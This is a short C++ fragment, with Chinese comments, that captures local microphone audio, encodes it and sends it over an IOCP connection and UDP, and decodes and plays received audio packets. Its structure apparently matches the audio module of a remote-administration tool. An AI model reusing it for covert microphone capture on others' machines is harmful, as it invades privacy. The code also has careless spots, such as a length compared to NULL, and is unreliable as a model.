// 负责发送本地语音
DWORD WINAPI CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
WaitForSingleObject(m_hEventWaveIn, INFINITE); //等待音频数据到来
if(ReaiLen == NULL)
return 0;
dwBytes = ReaiLen;
ReaiLen = 0;
// ::MessageBox(NULL,"001", "通知！！", MB_OK);
//音频编码函数
int lin;
char m_cBufln[1024];
lin=sizeof(m_cBufln);
g_ACode.EncodeAudioData (Readata,dwBytes,m_cBufln,&lin);
pThis->m_iocpServer->Send(pThis->m_pContext, (unsigned char *)m_cBufln, lin);
// SetEvent(m_HoMiEven);// 通知波形数据到来
}
return 0;
}
void CMyWaveIn::GetData(char *pBuffer,int iLen)
{
m_soLock.Lock ();
if (m_bSend)
{
int iOut = sizeof(m_cBufOut);
g_ACode.EncodeAudioData (pBuffer,iLen,m_cBufOut,&iOut);
m_pUdp->Send (m_cBufOut,iOut);
}
m_soLock.Unlock ();
CWaveIn::GetData (pBuffer,iLen);
}
void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
// CString str;
// str.Format("%d kb", m_nTotalRecvBytes / 1024);
// SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
// 首先调用音频编解码器解码数据
int lOut;
lOut = sizeof(m_cBufOut);
g_ACode.DecodeAudioData ((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1,m_cBufOut,&lOut);
g_WaveOut.Play(m_cBufOut,lOut); //信息播放
SetEvent(m_HoMiEven);// 通知波形数据到来
break;
default:
// 传输发生异常数据
return;
}
}
